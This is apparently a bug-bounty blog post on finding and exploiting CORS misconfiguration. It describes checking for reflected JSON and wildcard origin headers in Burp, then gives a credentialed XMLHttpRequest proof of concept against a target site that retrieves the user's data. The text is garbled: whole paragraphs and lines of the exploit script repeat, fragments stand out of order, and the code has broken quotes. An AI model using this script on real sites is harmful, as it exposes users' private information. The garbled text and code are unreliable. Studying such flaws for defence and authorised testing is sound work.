Short Description about CORS
How to Verify CORS Misconfiguration
After that Host
<html>
After that go to network and check request and response here script executes successfully
Here I got all the possible sensitive information of the user.
An
HTML5 cross-origin resource sharing (CORS) policy controls whether and how
content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply
access controls per-request based on the URL and other features of the request.
Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.
If the site specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to bypass any IP-based access controls by proxying through users' browsers.
Trusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.
If the site specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to bypass any IP-based access controls by proxying through users' browsers.
(If any application using the API their Possibilities of CORS Exist)
Case 1 >> Check-in Request Header
Capture the /API/JSON Or /Ajax/index/data Request in Burp and send it to Repeater now check the Response Date is reflected or not.
- If JSON Data is reflected in response there is the possibility of CORS.
- Change the Origin and check the response there is any data or not. if there is not any data Reflected in response Cors is patched
Case 2 >> Check-in Response Header
- Check for Access-Control-Allow-Origin*
- If there is Access-Control-Allow-Origin* and Json Data is present in response there is cors misconfiguration.
How to exploit
In the picture request method is Post and Access-Control-Allow-Origin* is present in the response.
In the picture request method is Post and Access-Control-Allow-Origin* is present in the response.
In the picture request method is Post and Access-Control-Allow-Origin* is present in the response and also JSON data is present like user's possible sensitive information like Email Phone no. Adress or lot more stuff.
After that Host
<html>
<script>
var req = new XMLHttpRequest(); req.onload = reqListener;
req.open('POST',’ https://abc.com/ajax/index/init' ,true); req.withCredentials = true;
req.send('{}'); function reqListener() { alert(this.responseText); };
req.open('POST',’ https://abc.com/ajax/index/init' ,true); req.withCredentials = true;
req.send('{}'); function reqListener() { alert(this.responseText); };
</script>
</html>
this script on your local server.
this script on your local server.
Here I got all the possible sensitive information of the user.
Thanks
Comments